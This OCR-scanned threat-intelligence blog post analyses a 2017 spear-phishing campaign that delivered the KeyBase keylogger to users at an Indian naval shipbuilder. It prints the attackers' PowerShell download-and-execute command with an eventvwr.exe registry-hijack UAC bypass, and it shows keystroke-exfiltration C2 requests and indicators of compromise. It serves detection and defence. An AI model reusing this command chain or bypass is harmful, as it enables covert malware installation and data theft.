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CYBER ATTACK TARGETING INDIAN NAVY’S SUBMARINE AND WARSHIP MANUFACTURER

3 WEEKS AGO * ARTICLES * © 21

In my previous blog posts | described attack campaigns targeting Indian government organizations, and Indian Embassies and
Ministry of External affairs. In this blog post | describe a new attack campaign where cyber espionage group targeted the users of
Mazagon Dock Shipbuilders Limited (also called as ship builder to the nation). Mazagon Dock Shipbuilders Limited (MDL) is a
Public Sector Undertaking of Government of India (Ministry of Defence) and it specializes in manufacturing warships and submarines

for the Indian Navy.

In order to infect the users associated with Mazagon Dock Shipbuilders Limited (MDL), the attackers distributed spear-phishing
emails containing malicious excel file which when opened drops a malware capable of spying on infected systems. The email
purported to have been sent from legitimate email ids. The attackers spoofed the email id associated with a Spain based equipment

manufacturing company Hidrofersa which specializes in designing, manufacturing naval, industrial and mining machinery.
Overview of the Malicious Emails

On 26th January, 2017 Indian Navy displayed its state-of-the-art stealth guided missile destroyer INS Chennai and the indigenously-
made Kalvari class Scorpene submarines at the Republic Day parade showcasing India’s military strength and achievements. INS

Chennai and Kalvari class submarines were manufactured by Mazagon Dock Shipbuilders Limited (MDL).

On 25th January (day before the Republic day) attackers spoofed an email id associated with Hidrofersa a Spain based company
which specializes in designing, manufacturing naval, industrial and mining machinery and the email was sent to the users of
Mazagon Dock Shipbuilders Limited (MDL). The email attachment contained two malicious excel files (both excel files turned out to
be same but used different names). The email was made to look like it was sent by a General service manager of Hidrofersa

enquiring about the product delivery schedule.
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Below screen shot shows the recipients associated with Mazagon Dock Shipbuilders Limited (MDL), this information was determined

from the Email header.

File Edt Waw Help

From [ chidrofersa.com Wed Jan 25 04:56:08 2017
RCPT-TO: I Gnazdock . com <

I F.CPT-TO: N Gmazdock . com <€—

X-fn: ab72bdad.png, INQUIRY.x1ls, COMPANY PROFILE.x1ls

X-fs: 16170, 207360, 207360

X-ft: image/png, document/x1ls, document/xls

Mazagon Dock Shipbuilders Limited (MDL) is listed as one of clients of Hidrofersa (mentioned in Hidrofersa website) and as per their
website Hidrofersa has shipped equipments to Mazagon Dock Shipbuilders Limited (MDL) in the past as shown in the below screen

shots. This is probably the reason attackers spoofed the email id of Hidrofersa as it is less likely to trigger any suspicion and there is
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From the email it looks like the goal of the attackers was to infect, take control of the systems of users associated with Mazagon
Dock Shipbuilders Limited (MDL) and to steal sensitive information (like Product design documents, blueprints, manufacturing

processes etc) related to warships and submarines.

Analysis of Malicious Excel File

When the recipient of the email opens the attached excel file it prompts the user to enable macro content and the excel also

contains instruction on how to enable the macros.
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Once the the macro content is enabled, it calls an auto execute function Workbook_Open() which in turn downloads the malware
sample and executes on the system. The malicious macro code was reverse engineered to understand its capabilities. The macro

code was heavily obfuscated (used obscure variable/function names to make analysis harder) as shown below.
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The macro then decodes a string which runs PowerShell script to download malware from a popular university site located in
Indonesia as shown below. The attackers probably compromised the university website to host the malware. The technique of
hosting malicious code in a university site (legitimate site) has advantages and it is unlikely to trigger any suspicion in security

monitoring and also can bypass reputation based devices.
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The PowerShell script (shown below) drops the downloaded executable in the %TEMP% directory as “doc6.exe". It then adds a
registry entry for the dropped executable and invokes eventvwr.exe, this is an interesting registry hijack technique which allows the
docé.exe to be executed by eventvwr.exe with high integrity level and also this technique silently bypasses the UAC (user account

control). This technique of UAC bypass is mentioned in the blog “Fileless” UAC Bypass Using eventvwr.exe and Registry Hijacking

cmd.exe /c powershell.exe -w hidden -nop -ep bypass (New-Object
System.Net.WebClient) .DownloadFile( ' http://wew. : .id/two/okilo.exe’
\doc6.exe') & reg add HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /

‘docb.exe /f & eventvwr.exe & PING -n 15 127.0.0.1=nul & %TEMP ‘-.docé.exe

Normally when eventvwr.exe process (which is running as high integrity process) is invoked, it starts mmc.exe which opens
eventvwr.msc causing the Event Viewer to be displayed. To start mmc.exe, eventvwr.exe searches this registry key

“HKCU\Software\Classes\mscfile\shell\open\command”looking for mmc.exe before looking at HKCR\mscfile\shell\open\command.

In this case since this registry “HKCU\Software\Classes\mscfile\shell\open\command”was hijacked to contain the entry for

“doc6.exe”, this will cause the eventvwr.exe process to invoke docé.exe with high integrity level.

Below screen shot shows docé.exe running from the %TEMP% directory
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& conhost.exe
& winlogon.exe
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The dropped file (doc6.exe) was determined as KeyBase malware. This malware can steal and send sensitive information to the
attackers like keystrokes, opened applications, web browsing history, usernames/passwords, upload Desktop screen shots etc. The

feature of uploading the Desktop screen shot is notable because if the infected user opens a design or design document related to

# Searchinde...
" OSPPSVC.E...

= ProcessHack...

Cyber Attack Targeting Indian Navy's Submarine and Warship Manufacturer - Cysinfo

Image file name: Sy
I C:\Users\ADMINI~1\AppData\Local\Temp\docé.exe | @y ||

Process.
Command line:

Current directory:
Started:
PPEB address:

Parent:

Mitigation policies:

Protection: None

C:\Users| ADMINI~1\AppDatatLocal\Temp\\doc6_exa l &, ]
C:\Users\Administrator\Documents),

21 seconds ago (3:45:25 PM 2/1/2017)

0x7ffd4000

Non-existent process (2364)

None Details |
=

Co=)

submarines or warships the screen shot of that can be sent to the attacker.

The attackers also hosted multiple samples of KeyBase malware in the compromised university website. Below screen shot shows

hashes of 25 samples hosted on the university site.

Analysis of the Dropped Executable (doc6.exe)

The dropped file was analyzed in an isolated environment (without actually allowing it to connect to the c2 server). This section

contains the behavioral analysis of the dropped executable

Once the dropped file (doc6.exe) is executed the malware copies itself into %AllUsersProfile% directory as “Important.exe”, In

addition to that it also drops two files “Mails.txt”and “Browsers.txt”into the same directory as shown below.

GHlJ= | » Computsr + Loca Disk (T + Programiiata »

Orgarize *  Incude inbsary = Shars with =
Favortes Hame
W Desktop [
s Dowelosds [
% Recest Flaces R——

The malware then creates a registry value for the the dropped file (Important.exe), this ensures that malware is executed every time

the system restarts.

Burn M fakdar

"
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The malware after execution keeps track of the user activity (like applications opened, files opened etc) but does not immediately
generate any network traffic, this is to make sure that no network activity is generated during automated/sandbox analysis. After
sleeping for a long time malware makes an http connection to the C2 server (command & control server) and sends the tracked user

activity to the attacker. The below screen shot shows the communication to the C2 server on port 80.

1469588919, 192,168.1.60  4,2.2.2 DNS  73Standard query OxbeSh A tripleshop.id ——

1469588919... 4.2.2.2 192.168.1.60 DNS 89 Standard query response BxbeSb A tripleshop.id A 192.168.1.22
1469588919... 192.168.1.60  192.168,1.22 TCP 6649215 - 8O [SYN] Seq=0 Win=8192 Len=0 M55=1460 W5=256 SACK_P..
1469588919... 192.168.1.22 192.168.1.60 TCP 6680 + 49215 [SYN, ACK] Seq=8 Ack=1 Win=14608 Len=8 M55=1460 5.
1469588919... 192.168.1.60  192.168.1.22 TCP 6049215 ~ 80 [ACK] Seq=1 Ack=1 Win=65536 Len=0

C2 Communication Pattern

Once malware makes an http connection after sleeping for a long time, it sends the system information and the tracked activity to
the C2 server as http parameters. Below screen shot shows the network communication pattern where the hostname and the

machine time is sent to C2 server.

Wireshark - Follow TCP Stream (tcp.stream eq 3) - okilo o x I

GET /userfiles/media/pixum/okilo/post.php?type=keystrokes&machinename=WIN-
TOUN4HIIHECSwindowtitle=&keystrokestyped=&machinetime=5:40%20PM HTTP/1.1
Host: tripleshop.id€— A

Below screen shot shows a network communication pattern where the opened window title was sent to the C2 server, this pattern

below indicates that “test.txt”file was opened with notepad on the infected system.

Wireshark - Follow TCP Stream (tcp.stream eq 15) - okilo -0 x

GET /userfiles/media/pixum/okild/post.php?type=keystrokes&machinename=WIN-
HUmIIHEC&HindoH‘titleﬂest. xt%20-
%20Notepad&keystrokestyped=&nachinetime=5:40%20PM HTTP/1.1

Host: tripleshop.id «—

Below screen shot shows a network communication pattern indicating a document named “secret.docx”was opened with Microsoft

Word.

GET /userfiles/media/pixum/okilg?post.php? = rokes&machinename=WIN-

9UN4HITHE C&windowtitle=sec ret.docx?sza-%zéﬂicmsoft !

eyst rokestyped=&machinetime=5:4 .1
Host: tripleshop.id <=—

Below screen shot shows a network communication pattern indicating /nternet Explorer was launched on the infected system.

GET /userfiles/media/pixum/o N0 php?type=keystrokes&nachinename=WIN-

DUN4HIIHE C&windowtitleEWindows®20Internet
;:20Explorerikeystrokestyped=&nachinetime=5:40%20PM HTTP/1.1
fflost: tripleshop.id €=

Every activity on the infected system is sent to the attacker, this allows the attacker to take further action and also since the open
window title is sent to attacker, this lets the attacker know about the documents opened and the tools running on the system or if

any analysis tools are used to inspect the malware.
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This section contains the details of the C2 domain (tripleshopl.]id). All the 25 samples hosted on compromised university site was

analyzed and it was determined that all these samples also communicated to the C2 domain tripleshopl.]id

&
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& B “
&
& L
N "
& o
e gy

5.4

The C2 domain was associated with only one IP address . This IP address is associated with hosting provider in Indonesia as shown

in the screen shots below

| BGP Prefix | €C | AS Name

®

tripleshop.id

e

103.229.74 32

K 9

ASN-55660
[[»]

MWRN-AS-ID PT Master Web Network, 1D

Below screen shot shows the timeline when the IP address was active. The IP was first seen to be active on 18th Jan, 2017 (one week

before the spear-phishing mail was sent to the victims).

Last Seen

103.229.74.32 | ID | 55660 | 2017-01-18 00:00:00 | 2017-02-01 15:24:32

Threat Intelligence

Even though attackers tried to make it look like the spear phishing email was sent by an email id associated with Hidrofersa but

inspecting the email headers revealed some interesting information.
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¥-MailChannels-SenderId: hostrocketcom|x-authuser IMZcombinedfreight. com
X-MailChannels-Auth-Id: hostrocketcom
X-MC-Loop-Signature: 1485299629851:3272658451 \
X-MC-Ingress-Time: 1485299629850
Received: from [::1] (port=43330 helo=webmail.combinedfreight.com)
by zeus.hrwebservices.net with esmtpa (Exim 4.87)
{envelope-from -JEGhidrofersa. com=)
id 1cWAHV-001jnP-55; Tue, 24 Jan 2017 18:13:41 -0500
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="=_a3f540b8f2874deb0b78e495531%a20"
Date: Tue, 24 Jan 2017 18:13:40 -0500
From: INEEE - - Hidrofersa <pEMEEGhidrofersa.com
To: wndisclosed-recipients:;
Subject: INQUIRY
In-Reply-To: =d69848f3ecaB3f86fbd65103f calBbbfgcombinedfreight . com-
References: =b e541c4886f68fe8] dific inedfreight.com=
=d921b9901110661a6c96a%echfddas1lfcombinedfreight . com=
=df623312cTecbddead3id725ee3caddbffcombinedf reight . com
<07d3bf92240eaa54 fe916478773d08cd@combinedfreight . com=
<1e6bcd5db8f2b128c29cc300afaal 94 lGcombinedfreight . com=
=d69848f3ecadsfa6fbd65103f cad8boficombinedf reight . com

< edlc
X-Sender: II—_Ghidrofersa. com

| X-AuthUser: mEm@conbinedfreight. com | —

Combined Freight (PVT) Limited is freight forwarding company which is into ocean & air freight business headquartered in Karachi,

Pakistan (as per their website). This company has 4 other offices in Pakistan (Lahore, Islamabad, Sialkot, Faisalabad). Below is the

screen shot taken from their website.

Ci) APVTI LIMITED —
- - An intemational Transpartation Company

Hame s Hatory Sardcen Certact ln Imaertars Isfermasn

Eﬁ- Ml COMBINED FREIGHT <

Welcome to Combined Freight

18 Cotired Froqpe (P43 Lid 1UAN 482 71 115000387 TEL: 92 TLMSISTLT P 492 203484 2980

- - An International Transpartatisn Compamny

Head Office - KARACH!
Comsined Freight [Pvt.} Alrport Offics - KARACHI
Limited Sute LEQ, G2-A Park View Towers, Combined Freght [Pve ) Limaed
Bk 6. PECHS. O Shahiah-a-Faissl Room M. 21, Carge Offce
Karach - TS400 (PAKIS TAN). Bulding For IATA Cargo Agents.
PR 46221 BOE-S1EIL-T Quache-Azam bt nabonal A pert Karachi
. Fax: +02.21-3454-2656 Phane - +52-21-342-83578
Emai. COMBINEDGcombireclzighLcn Fax: +02-21-467-1715
Skype I0:- Comeaned Freight

Based on the information mentioned above, It looks like the spoofed email was sent by a user associated with a Pakistan based

I Bl COMBINED FREIGHT
%%

company Combined Freight (PVT) Limited.

Indicators Of Compromise

In this case the cyber espionage group targeted Mazagon Dock Shipbuilders Limited (MDL) but it is possible that other defense
equipment manufacturers could also be targeted as part of this attack campaign. The indicators associated with this attack are
provided so that the organizations (Government, Public, Private organizations, Defense and Defense equipment manufacturers) can

use these indicators to detect, remediate and investigate this attack campaign. Below are the indicators
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Samples hosted on the compromised University site:
6c94b4c7610d278bf8dfc3dbb5ece9ce
a8leaed8ae25f5fa5b107cbcbfebed46
9a708879fd0a03d4089ee343c9254e5b
069629248742f9d762f66568ba7bcec8
6455a43366f4da09429738076e7f289¢
34d5a3d6ae3c1836e0577b6f94ee0294
6eee8ab9bc40b104931abdd68509df85
01c¢85dd7d8202765331a5cc818948213
42664aa65c473832a5c0df62c8b38d68
18e7480894149194f2cd17ee40d0ad7b
575b4b449a12f2bed583f2a59485f776
eae013aec7f45661223ea15ee38cc95
33b9c2c2cbecd4a4844057491b02379e
bf499821c935e67e0fb606915453a964
42e411bcb48240fb44c48327b81d8c57
efaa8d161bbe6342204ffa5b1b22ed0c
4623d0e188dc225de8dcd494c7802f7f
3cba51905a78bd221a2433ee180111c0
a6ebal131887c0cdbf67569e1320840d8
08f2fc9cb30b22c765a0ca9433b35a46
44b7aaea854ala3aladdb521eb7c5eb9
22730ae47acc178c0445c486d16d7ae9
5b5edc209737b6faa3a6d6711fbal648
bfse7ea70c2dab12100b91d77ca76ff2
34c44c9138a2d4c31391c2cc0b044c02

Network Indicators Associated with C2:
tripleshopl.Jid
103[.]229[.]74[.]32

C2 Communication Patterns:
hxxp://tripleshopl.Jid/userfiles/media/pixum/okilo/post.php
hxxp://tripleshopl.Jid/userfiles/media/pixum/agogo/post.php
hxxp://tripleshopl.Jid/userfiles/media/pixum/alpha/post.php
hxxp://tripleshopl.Jid/userfiles/media/pixum/ariri/post.php
hxxp.//tripleshopl.Jid/userfiles/media/pixum/bobby/post.php
hxxp.//tripleshopl. Jid/userfiles/media/pixum/chisom/post.php
hxxp://tripleshopl.Jid/userfiles/media/pixum/crack/post.php
hxxp://tripleshopl.Jid/userfiles/media/pixum/declan/post.php
hxxp://tripleshopl.Jid/userfiles/media/pixum/elber/post.php
hxxp.//tripleshopl.Jid/userfiles/media/pixum/figure/post.php
hxxp://tripleshopl.Jid/userfiles/media/pixum/henry/post.php
hxxp://tripleshopl.Jid/userfiles/media/pixum/ike/post.php
hxxp://tripleshopl.Jid/userfiles/media/pixum/jizzy/post.php
hxxp.//tripleshopl.jid/userfiles/media/pixum/kcc/post.php
hxxp.//tripleshopl.jid/userfiles/media/pixum/kc/post.php

https://cysinfo.com/cyber-attack-targeting-indian-navys-submarine-warship-manufacturer/ 8/11


https://cysinfo.com/

2/28/2017 Cyber Attack Targeting Indian Navy's Submarine and Warship Manufacturer - Cysinfo

=€ Q
CYSINFO
hxxp.//tripleshopl.jid/userfiles/media/pixum/notes/post.php
hxxp://tripleshopl. Jid/userfiles/media/pixum/polish/post.php
hxxp://tripleshopl.Jid/userfiles/media/pixum/turbo/post.php
hxxp://tripleshopl.Jid/userfiles/media/pixum/whesilo/post.php
hxxp.//tripleshopl.Jid/userfiles/media/pixum/yboss/post.php
hxxp://tripleshopl.Jid/userfiles/media/pixum/yg/post.php

Conclusion

Attackers in this case made every attempt to launch a clever attack campaign by spoofing legitimate email ids and using an email
theme relevant to the targets. The following factors in this cyber attack suggests the possible involvement of Pakistan state
sponsored cyber espionage group to steal the intellectual property such as design/blueprints and manufacturing data related to

submarines and warships.

e Victims/targets chosen (Submarine & Warship manufacturer for Indian Navy)
e Use of Email theme related to the targets
e Timing of the spear phishing emails sent to the victims (The day before the Republic Day)
e Email header information indicating the possible Pakistan connection
e Use of malware that is capable of spying and uploading screen shots
e Use of TTP's (tactics, techniques & procedures) similar to the previous campaign
The following factors reveal the attackers intention to remain stealthy and the attempt to evade sandbox analysis, manual analysis

and security monitoring at both the desktop and network levels.

e Use of obfuscated malicious macro code

e Use of junk code (to divert the manual analysis)

e Use of compromised university site to host malicious code (to bypass security monitoring)

e Use of Silent UAC (user account control) bypass technique

e Use of Malware that sleeps for long time without generating any network activity (to evade sandbox analysis)
e Use of hosting provider to host C2 infrastructure

Cyber espionage groups will continue targeting defense sectors and defense equipment manufacturers for the following reasons:

e 7o steal defense related information and proprietary product information that can provide their sponsoring governments with
military and economic advantages.
e To identify vulnerabilities in the defense technologies to gain advantage over adversary’s military capabilities

e To reduce their research and development costs and produce and sell similar products at lower prices

References
http://researchcenter.paloaltonetworks.com/2015/06/keybase-keylogger-malware-family-exposed/
http://www.brycampbell.co.uk/new-blog/2015/7/14/keybase-malware

http://researchcenter.paloaltonetworks.com/2016/02/keybase-threat-grows-despite-public-takedown-a-picture-is-worth-a-thousand-

words/
https://www.fireeye.com/current-threats/reports-by-industry/aerospace-threat-intelligence.html

Follow us on Twitter: @monnappa22 @cysinfo22

https://cysinfo.com/cyber-attack-targeting-indian-navys-submarine-warship-manufacturer/ 9/11


https://cysinfo.com/uri-terror-attack-spear-phishing-emails-targeting-indian-embassies-and-indian-mea/
http://researchcenter.paloaltonetworks.com/2015/06/keybase-keylogger-malware-family-exposed/
http://www.brycampbell.co.uk/new-blog/2015/7/14/keybase-malware
http://researchcenter.paloaltonetworks.com/2016/02/keybase-threat-grows-despite-public-takedown-a-picture-is-worth-a-thousand-words/
https://www.fireeye.com/current-threats/reports-by-industry/aerospace-threat-intelligence.html
https://twitter.com/monnappa22
https://twitter.com/cysinfo22
https://cysinfo.com/

2/28/2017 Cyber Attack Targeting Indian Navy's Submarine and Warship Manufacturer - Cysinfo
>

Vg Q

CYSINFO

MONNAPPAKA
8 in

8 COMMENTS
RAJESH A
February 10, 2017 at 5:46 pm

Thank you Monnappa.
Nice articulation.

Cyber war is really strong. Warriors like you are necessary in the war fields now.
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